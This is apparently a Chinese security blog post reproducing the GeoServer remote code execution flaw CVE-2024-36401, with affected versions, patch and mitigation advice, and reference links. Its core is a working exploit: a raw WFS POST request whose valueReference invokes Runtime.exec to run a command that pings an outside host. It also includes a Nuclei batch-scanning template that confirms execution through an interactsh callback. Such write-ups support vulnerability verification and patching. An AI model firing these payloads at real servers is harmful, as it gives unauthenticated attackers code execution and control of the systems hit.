【漏洞复现】Geoserver远程代码执行漏洞(CVE-2024-36401)

文章目录

漏洞描述

GeoServer是一个用Java编写的开源软件服务器,允许用户共享和编辑地理空间数据。它为提供交互操作性而设计,使用开放标准发布来自任何主要空间数据源的数据。

GeoServer存在远程代码执行漏洞(CVE-2024-36401),未经身份认证的远程攻击者可以通过该漏洞在服务器上执行任意代码,从而获取服务器权限。

漏洞名称 Geoserver远程代码执行漏洞
CVE编码 CVE-2024-36401
漏洞类型 代码执行
漏洞等级 高危
公开时间 2024-07-02

影响版本

GeoServer < 2.23.6

2.24.0 <= GeoServer < 2.24.4

2.25.0 <= GeoServer < 2.25.2

利用条件

无需任何利用条件

漏洞复现

bash 复制代码
POST /geoserver/wfs HTTP/1.1
Host: ip
Content-Type: application/xml
Content-Length: 339

<wfs:GetPropertyValue service='WFS' version='2.0.0'
 xmlns:topp='http://www.openplans.org/topp'
 xmlns:fes='http://www.opengis.net/fes/2.0'
 xmlns:wfs='http://www.opengis.net/wfs/2.0'
 valueReference='exec(java.lang.Runtime.getRuntime(),"ping dgrh3.cn -c 1")'>
 <wfs:Query typeNames='topp:states'/>
</wfs:GetPropertyValue>

批量脚本

yaml 复制代码
id: CVE-2024-36401-GeoServer-wfs-rce

info:
  name: GeoServer 远程代码执行漏洞(CVE-2024-36401)
  author: whgojp
  severity: critical
  description: GeoServer 远程代码执行漏洞(CVE-2024-36401)

http:
- raw:
  - |-
    @timeout: 30s
    POST /geoserver/wfs HTTP/1.1
    Host: {{Hostname}}
    Content-Type: application/xml
    Content-Length: 324

    <wfs:GetPropertyValue service='WFS' version='2.0.0'
     xmlns:topp='http://www.openplans.org/topp'
     xmlns:fes='http://www.opengis.net/fes/2.0'
     xmlns:wfs='http://www.opengis.net/wfs/2.0'
     valueReference='exec(java.lang.Runtime.getRuntime(),"ping {{interactsh-url}}")'>
     <wfs:Query typeNames='topp:states'/>
    </wfs:GetPropertyValue>

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol

修复建议

GeoServer已经发布先前版本的补丁,可以从下载页面(https://geoserver.org/)下载:2.25.1、2.24.3、2.24.2、2.23.2、2.21.5、2.20.7、2.20.4、2.19.2、2.18.0,从下载的补丁中获取gt-app-schema和gt-complex和 gt-xsd-core jar文件,替换掉WEB-INF/lib里面对应的文件即可。

临时缓解措施

删除GeoServer 中gt-complex-x.y.jar文件(x.y为GeoTools 版本,例如GeoServer 2.25.1中是gt-complex-31.1.jar),这将从 GeoServer 中删除漏洞代码,但可能会破坏某些 GeoServer 功能。

参考链接

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
https://osgeo-org.atlassian.net/browse/GEOT-7587
https://github.com/vulhub/vulhub/pull/540/files#diff-f83989e1a9d69179df696bc01c04fbf62ba914325457bef67c1d95fb63772e91

相关推荐
大刘讲IT2 小时前
IT/OT 融合架构下的工业控制系统安全攻防实战研究
经验分享·安全·web安全·架构·制造
hao_wujing2 小时前
基于LLM的6G空天地一体化网络自进化安全框架
网络·安全
中杯可乐多加冰2 小时前
【解决方案】CloudFront VPC Origins 实践流程深入解析 —— 安全高效架构的实战之道
安全·架构·安全架构·vpc·cloudfront
码农飞哥3 小时前
互联网大厂Java面试实战:从Spring Boot到微服务的技术问答与解析
java·数据库·spring boot·安全·微服务·面试·电商
MarkHD4 小时前
第五天 车载系统安全(入侵检测、OTA安全) 数据加密(TLS/SSL、国密算法)
安全·车载系统·ssl
路baby5 小时前
2025第九届御网杯网络安全大赛线上赛 区域赛WP (MISC和Crypto)(详解-思路-脚本)
安全·web安全·网络安全·视频编解码·misc·crypto·御网杯
small_white_robot5 小时前
OSCP备战-kioptrixvm3详细解法
网络·安全·web安全
Lingxw_w8 小时前
【网络安全】——大端序(Big-Endian)和小端序(Little-Endian)
安全·web安全
小白学安全hhhh9 小时前
FlySecAgent:——MCP全自动AI Agent的实战利器
安全·ai·ai安全
码哝小鱼9 小时前
系统间安全复制和同步文件
linux·服务器·安全